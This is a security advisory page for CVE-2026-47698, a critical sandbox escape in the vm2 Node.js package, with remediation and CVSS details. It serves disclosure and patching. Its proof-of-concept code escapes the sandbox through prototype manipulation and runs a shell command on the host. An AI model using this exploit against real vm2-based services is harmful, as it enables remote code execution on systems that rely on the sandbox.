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CVE-2026-47698

CRITICAL

vm2: Sandbox Breakout Using Dangerous Host Proto Mutators

Published August 17, 2026Updated August 17, 2026Source: osv

Summary

### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous. ### PoC ```js const {VM} = require("."); const vm = new VM(); console.log(vm.run(` const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } } f(); `)); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update vm2 to 3.11.6 or later
npm install vm2@3.11.6

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
vm2
npm
All versions3.11.6

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-47698?
vm2: Sandbox Breakout Using Dangerous Host Proto Mutators This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-47698?
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Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-cfcw-xp6x-25gj

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